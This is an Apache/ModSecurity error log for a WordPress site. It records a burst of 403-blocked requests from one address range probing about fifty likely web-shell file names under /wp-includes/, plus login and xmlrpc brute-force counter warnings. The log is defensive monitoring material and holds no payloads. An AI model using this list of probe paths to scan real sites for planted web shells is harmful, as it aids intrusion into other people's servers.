[Tue Apr 21 20:32:31.348334 2026] [:error] [pid 53731:tid 53758] [client 45.137.126.9:54853] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aeduX12I9THUR-bRVGxc7wAAAhY"]
[Tue Apr 21 20:32:34.780728 2026] [:error] [pid 4777:tid 4801] [client 45.137.126.10:64181] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aeduYqxXur6bykKyLZSoxQAAAQ0"]
[Tue Apr 21 20:32:37.730121 2026] [:error] [pid 53978:tid 53983] [client 45.137.126.42:47949] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aeduZZ1ivsR4hcOSQbYbjgAAAoM"]
[Tue Apr 21 20:32:38.704492 2026] [:error] [pid 54080:tid 54099] [client 45.137.126.26:60073] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aeduZozEbQHHxtmWbaay_QAAAtE"]
[Tue Apr 21 20:32:40.164820 2026] [:error] [pid 53832:tid 53840] [client 45.137.126.24:57135] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aeduaNzkuxsE_OhM9UJoXQAAAkU"]
[Tue Apr 21 20:32:42.121845 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.19:49783] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aeduaoJW6fdXWO6agMG14wAAAAc"]
[Tue Apr 21 20:32:43.107881 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.49:55537] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aedua4JW6fdXWO6agMG16AAAAAs"]
[Tue Apr 21 20:32:48.599947 2026] [:error] [pid 35415:tid 35442] [client 45.137.126.6:24341] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aeducEiqDinI4_22zzhykgAAAM8"]
[Tue Apr 21 20:32:50.574171 2026] [:error] [pid 53978:tid 54000] [client 45.137.126.7:21599] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aeducp1ivsR4hcOSQbYbmgAAApQ"]
[Tue Apr 21 20:32:51.551659 2026] [:error] [pid 53832:tid 53839] [client 45.137.126.32:26511] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aeduc9zkuxsE_OhM9UJoYAAAAkQ"]
[Tue Apr 21 20:32:53.512191 2026] [:error] [pid 54080:tid 54106] [client 45.137.126.48:40983] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aedudYzEbQHHxtmWbaazGwAAAtg"]
[Tue Apr 21 20:32:54.976482 2026] [:error] [pid 35322:tid 35368] [client 45.137.126.51:40969] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aedudqPoAfV40BTfVKzbOgAAAIs"]
[Tue Apr 21 20:32:58.422526 2026] [:error] [pid 4823:tid 4861] [client 45.137.126.52:42963] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aeduevc8mke3PfHqsxH8sAAAAYg"]
[Tue Apr 21 20:33:00.431460 2026] [:error] [pid 35321:tid 35390] [client 45.137.126.40:37089] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aedufDeHLhVUuu8cVXyQogAAAEY"]
[Tue Apr 21 20:33:02.556480 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.34:22615] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aedufl2I9THUR-bRVGxdJAAAAgA"]
[Tue Apr 21 20:33:04.024600 2026] [:error] [pid 35321:tid 35406] [client 45.137.126.53:56253] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aedugDeHLhVUuu8cVXyQrAAAAFY"]
[Tue Apr 21 20:33:05.485582 2026] [:error] [pid 35320:tid 35347] [client 45.137.126.29:41233] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aedugYJW6fdXWO6agMG2BgAAABE"]
[Tue Apr 21 20:33:06.469465 2026] [:error] [pid 35322:tid 35375] [client 45.137.126.28:28805] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aedugqPoAfV40BTfVKzbPAAAAJI"]
[Tue Apr 21 20:33:07.444389 2026] [:error] [pid 35321:tid 35392] [client 45.137.126.33:29815] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aedugzeHLhVUuu8cVXyQtQAAAEg"]
[Tue Apr 21 20:33:11.406047 2026] [:error] [pid 53978:tid 53981] [client 45.137.126.12:64505] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aeduh51ivsR4hcOSQbYbrAAAAoE"]
[Tue Apr 21 20:33:13.868331 2026] [:error] [pid 35415:tid 35433] [client 45.137.126.52:24433] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aeduiUiqDinI4_22zzhymQAAAMY"]
[Tue Apr 21 20:33:15.826532 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.49:38371] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aedui12I9THUR-bRVGxdRwAAAgA"]
[Tue Apr 21 20:33:17.786756 2026] [:error] [pid 35322:tid 35373] [client 45.137.126.30:27357] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aedujaPoAfV40BTfVKzbQgAAAJA"]
[Tue Apr 21 20:33:21.242323 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.47:21555] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aedukYJW6fdXWO6agMG2FgAAAA8"]
[Tue Apr 21 20:33:22.715798 2026] [:error] [pid 35321:tid 35389] [client 45.137.126.16:25741] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aedukjeHLhVUuu8cVXyQuwAAAEU"]
[Tue Apr 21 20:33:24.193092 2026] [:error] [pid 35320:tid 35347] [client 45.137.126.23:49257] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aedulIJW6fdXWO6agMG2HQAAABE"]
[Tue Apr 21 20:33:26.168558 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.39:46759] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aeduloJW6fdXWO6agMG2JwAAABY"]
[Tue Apr 21 20:33:31.119410 2026] [:error] [pid 4823:tid 4855] [client 45.137.126.26:41251] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aedum_c8mke3PfHqsxH8vgAAAYI"]
[Tue Apr 21 20:33:32.097813 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.31:50987] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aedunIJW6fdXWO6agMG2LwAAAA8"]
[Tue Apr 21 20:33:34.540504 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.2:24447] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aedunoJW6fdXWO6agMG2NQAAAAM"]
[Tue Apr 21 20:33:35.515172 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.7:30889] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aedun12I9THUR-bRVGxdUAAAAgA"]
[Tue Apr 21 20:33:37.475589 2026] [:error] [pid 35320:tid 35342] [client 45.137.126.8:37307] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aeduoYJW6fdXWO6agMG2PAAAAAw"]
[Tue Apr 21 20:33:38.448022 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.43:37583] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aeduooJW6fdXWO6agMG2PwAAAAc"]
[Tue Apr 21 20:33:39.425911 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.27:63325] [client 45.137.126.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aeduozeHLhVUuu8cVXyQ1AAAAEI"]
[Tue Apr 21 20:33:39.430248 2026] [proxy_fcgi:error] [pid 35321:tid 35386] [client 45.137.126.27:63325] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:33:39.917810 2026] [:error] [pid 35321:tid 35399] [client 45.137.126.27:63325] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aeduozeHLhVUuu8cVXyQ1QAAAE8"]
[Tue Apr 21 20:33:41.870297 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.27:48503] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aedupTeHLhVUuu8cVXyQ3wAAAEk"]
[Tue Apr 21 20:33:42.841046 2026] [:error] [pid 35321:tid 35400] [client 45.137.126.10:26419] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aedupjeHLhVUuu8cVXyQ4wAAAFA"]
[Tue Apr 21 20:33:47.254661 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.6:25179] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aeduqzeHLhVUuu8cVXyQ-wAAAFc"]
[Tue Apr 21 20:33:48.236679 2026] [:error] [pid 4823:tid 4862] [client 45.137.126.21:55257] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aedurPc8mke3PfHqsxH8xgAAAYk"]
[Tue Apr 21 20:33:50.203765 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.43:56599] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aedurozEbQHHxtmWbaazagAAAtQ"]
[Tue Apr 21 20:33:51.188845 2026] [:error] [pid 4777:tid 4802] [client 45.137.126.27:51945] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aedur6xXur6bykKyLZSpMAAAAQ4"]
[Tue Apr 21 20:33:52.165072 2026] [proxy_fcgi:error] [pid 35321:tid 35393] [client 45.137.126.28:59429] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:33:52.659581 2026] [:error] [pid 35321:tid 35389] [client 45.137.126.28:59429] [client 45.137.126.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aedusDeHLhVUuu8cVXyREAAAAEU"]
[Tue Apr 21 20:33:53.647587 2026] [:error] [pid 35321:tid 35390] [client 45.137.126.28:59429] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aedusTeHLhVUuu8cVXyREwAAAEY"]
[Tue Apr 21 20:33:56.089604 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.9:59007] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aedutF2I9THUR-bRVGxdZwAAAgg"]
[Tue Apr 21 20:33:57.554953 2026] [:error] [pid 53731:tid 53737] [client 45.137.126.38:32871] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aedutV2I9THUR-bRVGxdagAAAgI"]
[Tue Apr 21 20:33:58.534595 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.45:37963] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aedutjeHLhVUuu8cVXyRJAAAAEo"]
[Tue Apr 21 20:34:01.025720 2026] [:error] [pid 53978:tid 53987] [client 45.137.126.42:63563] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aeduuZ1ivsR4hcOSQbYb8QAAAoc"]
[Tue Apr 21 20:34:02.980977 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.33:20109] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aeduujeHLhVUuu8cVXyRKgAAAFE"]
[Tue Apr 21 20:34:05.911983 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.17:40733] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aeduvTeHLhVUuu8cVXyRMgAAAEI"]
[Tue Apr 21 20:35:05.460244 2026] [autoindex:error] [pid 53731:tid 53744] [client 45.137.126.13:21139] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 21:02:27.257470 2026] [:error] [pid 54080:tid 54102] [client 176.28.175.100:8301] [client 176.28.175.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.28.175.100, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aed1Y4zEbQHHxtmWbaa5pAAAAtQ"]
